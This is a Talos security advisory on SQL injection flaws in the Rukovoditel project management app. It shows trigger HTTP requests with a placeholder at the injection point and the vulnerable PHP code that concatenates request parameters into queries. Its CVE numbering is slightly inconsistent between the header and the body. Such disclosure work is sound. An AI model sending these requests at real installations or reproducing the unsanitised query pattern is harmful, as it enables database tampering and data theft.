

Talos Vulnerability Report

TALOS-2020-1199

Rukovoditel Project Management App multiple SQL injection vulnerabilities in the 'entities/fields' page

APRIL 8, 2021

CVE NUMBER

CVE-2020-13588, CVE-2020-13589, CVE-2020-13599

Summary

Multiple exploitable SQL injection vulnerabilities exist in the 'entities/fields' page of the Rukovoditel Project Management App 2.7.2. A specially crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities, this can be done either with administrator credentials or through cross-site request forgery.

Tested Versions

Rukovoditel Project Management App 2.7.2

Product URLs

<https://www.rukovoditel.net/>

CVSSv3 Score

5.4 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

Rukovoditel is an open-source project management tool and CRM tool designed to support project managers in complex tasks.

Multiple authenticated SQL injection vulnerabilities exist in the 'entities/fields' page of the Rukovoditel Project Management App. These SQL injections occur multiple times in different switch cases (multiple_edit, export or copy_selected) for two different parameters entities_id and selected_fields. Another SQL injection vulnerability exists in this page for the heading_field_id parameter. An attacker either needs administrator privileges or they could trigger these vulnerabilities through cross-site request forgery.

CVE-2020-13588 - SQL injection in the heading_field_id parameter

The heading_field_id parameter in "entities/fields" page is vulnerable to authenticated SQL injection. The following request would trigger the vulnerability:

```
POST /crm/index.php?module=entities/fields&action=set_heading_field_id&entities_id=1 HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://[IP]
DNT: 1
Connection: close
Referer: http://[IP]/crm/index.php?module=entities/forms&entities_id=24
Cookie: cookie_test=please_accept_for_session; sid=84edp91galu92kc98ja9r4uhto; PHPSESSID=hru4oem2h86lj609i2acmvrnp
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

heading_field_id=1<SQLINJECTION>&field_type=fieldtype_input&id=
```

The following code contains the vulnerability at line 10 in the entities/fields page:

```
3 switch($app_module_action)
4 {
5     case 'set_heading_field_id':
6         //reset heading
7         db_query("update app_fields set is_heading=0 where entities_id ='" . db_input($_GET['entities_id']) . "'");
8
9         //set new heading
10        db_query("update app_fields set is_heading=1 where id='" . $_POST['heading_field_id'] . "' and entities_id ='" .
db_input($_GET['entities_id']) . "'");
11
12        exit();
```

CVE-2020-13589 - SQL injection in the entities_id parameter

The entities_id parameter in the 'entities/fields' page (multiple_edit or copy_selected or export function) is vulnerable to authenticated SQL injection. The following request would trigger the vulnerability:

```
POST /crm/index.php?module=entities&fields&action=multitple_edit&entities_id=1<SQLINJECTION> HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://[IP]
DNT: 1
Connection: close
Referer: http://[IP]/crm/index.php?module=entities&forms&entities_id=24
Cookie: cookie_test=please_accept_for_session; sid=84edp91galu92kc98ja9r4uhto; PHPSESSID=hru4oem2h86lj609i2acmvrnup
Content-Type: application/x-www-form-urlencoded
Content-Length: 224

heading_field_id=1&selected_fields=1&field_type=fieldtype_input&id=
```

The following code contains the vulnerability at line 304 in the entities/fields page:

```
300 case 'copy_selected':
301     if(strlen($_POST['selected_fields'])>0 and $_POST['copy_to_entities_id']>0)
302     {
303
304         $fields_query = db_query("select * from app_fields where entities_id='" . $_GET['entities_id'] . "' and id in (" .
$_POST['selected_fields'] . ")");
305         while($fields = db_fetch_array($fields_query))
306         {
307             //prepare sql data
308             $sql_data = $fields;
309             unset($sql_data['id']);
```

CVE-2020-13590 - SQL injection in the selected_fields parameter

The selected_fields parameter in the 'entities/fields page (multitple_edit or copy_selected or export function) is vulnerable to authenticated SQL injection. The following request would trigger the vulnerability:

The following code contains the vulnerability at line 285 in the entities/fields page:

```
281 case 'multitple_edit':
282     if(strlen($_POST['selected_fields']))
283     {
284         print("sql2");
285         $fields_query = db_query("select * from app_fields where entities_id='" . $_GET['entities_id'] . "' and id in (" .
$_POST['selected_fields'] . ")");
286         while($fields = db_fetch_array($fields_query))
287         {
288             if($_POST['is_required']=='yes')
289             {
290                 db_query("update app_fields set is_required=1 where id='" . $fields['id'] . "'");
291             }
292             elseif($_POST['is_required']=='no')
293             {
294                 db_query("update app_fields set is_required=0 where id='" . $fields['id'] . "'");
295             }
296         }
297     }
298     redirect_to('entities/fields','entities_id' . $_GET['entities_id']);
299     break;
300
```

Timeline

2020-11-24 - Vendor Disclosure
2021-02-09 - 60+ day follow up
2021-02-10 - Vendor advises issue is not a security vulnerability
2021-02-23 - Talos retested and reconfirmed on new version 2.8.2; follow up email issued to vendor
2021-03-03 - 3rd follow up and final 90 day notice
2021-04-08 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

